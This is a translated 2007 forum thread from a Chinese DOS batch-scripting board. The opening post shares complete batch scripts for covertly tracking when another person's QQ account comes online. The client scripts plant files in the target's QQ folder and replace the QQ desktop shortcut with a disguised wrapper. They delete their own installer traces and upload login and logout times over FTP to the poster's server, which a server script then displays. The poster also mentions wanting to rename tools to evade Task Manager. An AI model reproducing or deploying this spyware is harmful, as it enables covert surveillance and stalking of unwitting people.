China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-07-25 00:18
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » Batch processing to detect whether a certain QQ number is online, and can also detect when it is invisible View 2,156 Replies 11
Original Poster Posted 2007-10-26 01:40 ·  中国 江西 鹰潭 电信
中级用户
★★
Credits 244
Posts 92
Joined 2006-05-13 21:24
20-year member
UID 55477
Status Offline
Writing this batch is purely for fun, with no technical content. Please don't be BT ^_^

The batch file that replaces QQ numbers in files uses the code of the moderator lxmxn... Hehe, I can't write it myself.

Originally, I wanted to change the filenames of ping.exe, find.exe, ftp.exe, etc. to make it not abnormal for the other party to check in the task manager, but I had difficulties when modifying the path of cmd.exe, so I didn't change it.

Client files:
____________________________
Click here to replace all text with QQ numbers.bat
\tihuan
Initialize bak.bat
QQbak.bat
QQ.vbs
Shortcut.exe shortcut creation EXE
sleep.exe delay
startbak
noicqbak
344536606onbak
344536606errorbak
344536606error2bak
344536606downbak
344536606down.txt
344536606error.txt
344536606exit.txt
344536606on.txt
Directory 344536606.txt not found
Please see instructions.txt
Already replaced.txt
__________________________________

Content of Initialize bak.bat

REM Find the directory where the QQ folder is located

:diskC
for /r c:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startC

:diskD
for /r d:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startD

:diskE
for /r e:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startE

:diskF
for /r f:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startF

:diskG
for /r g:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startG

:diskH
for /r h:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startH

:startC
if not exist "%qexepath%" goto diskD
goto next

:startD
if not exist "%qexepath%" goto diskE
goto next

:startE
if not exist "%qexepath%" goto diskF
goto next

:startF
if not exist "%qexepath%" goto :diskG
goto next

:startG
if not exist "%qexepath%" goto :DiskH
goto next

:startH
if not exist "%qexepath%" goto :no
goto next

If found, copy the file to the QQ directory
:next
copy qq.vbs "%qqpath%"
copy qq.bat "%qqpath%"
copy 344536606on "%qqpath%"
copy 344536606down "%qqpath%"
copy 344536606error "%qqpath%"
copy 344536606error2 "%qqpath%"
copy sleep.exe "%qqpath%"
ftp -s:start

REM Search for the QQ icon on the desktop and delete it, then create a new Q icon, the target is qq.vbs
for /r "%userprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
for /r "%allusersprofile%\Desktop" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i"
Shortcut.exe /f:"%userprofile%\Desktop\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0"

REM Delete all used files
del qq.vbs
del qq.bat
del sleep.exe
del Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat
exit

REM If not found, return a report to ftp
:no
ftp -s:noicq
del qq.vbs
del qq.bat
del sleep.exe
Shortcut.exe
del 344536606on
del 344536606down
del 344536606error
del 344536606error2
del 344536606down.txt
del 344536606error.txt
del 344536606exit.txt
del 344536606on.txt
del start
del noicq
del Directory 344536606.txt not found
del Initialize.bat


Content of QQ.bat
REM Use ewh.db in the QQ number file directory as the judgment for going online, and naccountservice.dat as the judgment for going offline
@echo off
del 344536606\ewh.db
del 344536606\naccountservice.dat
start qq.exe

REM Find ping.exe in the process, because if the cmd daemon is still there, running it again will cause an error,
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
sleep 1
tasklist|find "ping.exe" && exit
ping -n 12 127.1 > nul
if not exist 344536606\ewh.db goto detect

:start
date /t > 344536606on.txt
time /t >> 344536606on.txt
ftp -s:344536606on

REM If ":" is found in 344536606exit.txt: it means the last run was completed, not kissed or restarted. If not found, upload the report
type 344536606exit.txt|find ":" && goto online
ftp -s:344536606error
date /t >> 344536606error.txt
time /t >> 344536606error.txt
ftp -s:344536606error2

REM Detect naccountservice.dat, if it exists, it means offline
:online
set qqpath="%cd%"
cd 344536606
dir|find "naccountservice.dat" && goto downline
cd /d "%qqpath%"
ping -n 6 127.1 > nul
goto online

:downline
cd /d "%qqpath%"
date /t > 344536606down.txt
time /t >> 344536606down.txt
time /t > 344536606exit.txt
ftp -s:344536606down
del 344536606down.txt
del 344536606exit.txt
exit

REM If ewh.db is not detected after opening QQ, continue to detect a few more times, because some people will go online after a while
:detect
set /a max=%max%+1
if %max%==6 exit
set qqpath2="%cd%"
cd 344536606
dir|find "ewh.db" && cd /d "%qqpath2%" && goto start
cd /d "%qqpath2%"
ping -n 6 127.1 > nul
goto detect



Server files:
_______________
Server.bat
Server
_______________

Content of Server.bat

@echo off
:loop
color 07
ftp -s:Server
cls
color 0a
type Directory 344536606.txt not found|find "QQ" && goto exit
type 344536606exit.txt|find ":" && goto no
cls
echo.
echo.
echo.
echo The other party is online...
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's this time -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop

:no
cls
echo.
echo.
echo.
echo The other party is not online...
echo.
echo.
echo The other party's last -- online time: && type 344536606on.txt
echo.
echo.
echo The other party's last -- offline time: && type 344536606down.txt
echo.
echo.
echo The other party's recent abnormal exit records && type 344536606error.txt
ping -n 10 127.1 > nul
goto loop

:exit
type Directory 344536606.txt not found
pause>nul


Content of Server
open xxx.xxx.xxx
username
password
cd wwwroot
get 344536606on.txt
get 344536606down.txt
get 344536606exit.txt
get 344536606error.txt
get Directory 344536606.txt not found
bye

Download
Client
Server

[ Last edited by sweetdreamlan on 2007-10-26 at 01:49 AM ]
Floor 2 Posted 2007-10-26 03:05 ·  中国 湖南 郴州 汝城县 联通
初级用户
Credits 41
Posts 16
Joined 2007-10-23 23:08
18-year member
UID 100597
Gender Male
Status Offline
Floor 3 Posted 2007-10-26 10:08 ·  中国 上海 电信张江机房
初级用户
★★
Credits 150
Posts 68
Joined 2007-04-26 00:18
19-year member
UID 86476
Gender Male
Status Offline
Is it also distinguish client and server? Can LZ tell us the specific process?
Floor 4 Posted 2007-10-26 12:20 ·  中国 江西 鹰潭 电信
中级用户
★★
Credits 244
Posts 92
Joined 2006-05-13 21:24
20-year member
UID 55477
Status Offline
The specific process, you can download and analyze the client and server, and then you'll know how it is by looking at the batch script. The batch script in it is very easy to understand.
Floor 5 Posted 2007-12-13 16:26 ·  中国 广东 广州 番禺区 电信
初级用户
Credits 33
Posts 16
Joined 2007-12-05 16:57
18-year member
UID 104767
Gender Male
Status Offline
Not applicable, but still top
Floor 6 Posted 2007-12-13 18:56 ·  中国 江苏 无锡 宜兴市 电信
中级用户
★★
Credits 487
Posts 212
Joined 2007-04-01 08:22
19-year member
UID 83597
Gender Male
Status Offline
Actually, you can just send him a video.... He will definitely scold you when he's online!~
Floor 7 Posted 2007-12-22 09:39 ·  中国 上海 电信
中级用户
★★
Credits 321
Posts 135
Joined 2007-02-04 04:48
19-year member
UID 78578
Gender Male
Status Offline
Basically, I didn't understand that. Why use FTP?
Floor 8 Posted 2007-12-22 22:33 ·  中国 广东 揭阳 电信
新手上路
Credits 5
Posts 3
Joined 2007-12-16 21:28
18-year member
UID 105857
Gender Male
Status Offline
If only there were no server side ~
Floor 9 Posted 2007-12-23 13:18 ·  中国 湖南 长沙 电信
初级用户
Credits 36
Posts 16
Joined 2007-11-27 14:04
18-year member
UID 103938
Gender Male
Status Offline
Oh, my goodness...
Directly use NETSTAT
Send a message to the other party, and then see if it's relayed through a Tencent server or sent directly to the other party's IP.
That is, as long as you know a few Tencent servers, use NETSTAT to check and judge. If it's sent to a Tencent server, it means the other party is not online
Floor 10 Posted 2007-12-28 15:38 ·  中国 广东 广州 海珠区 电信
新手上路
Credits 8
Posts 4
Joined 2007-12-28 14:47
18-year member
UID 107043
Gender Male
Status Offline
It would be nice if the person above could explain something.
Floor 11 Posted 2007-12-28 21:18 ·  中国 福建 三明 电信
高级用户
★★
论坛上抢劫的
Credits 551
Posts 246
Joined 2006-09-21 12:35
19-year member
UID 63270
Status Offline
It won't work on someone else's machine!
Floor 12 Posted 2007-12-30 00:20 ·  中国 广东 广州 天河区 电信
新手上路
Credits 6
Posts 3
Joined 2007-12-29 18:54
18-year member
UID 107146
Gender Male
Status Offline
Learning~! It's really rewarding to come here
Forum Jump: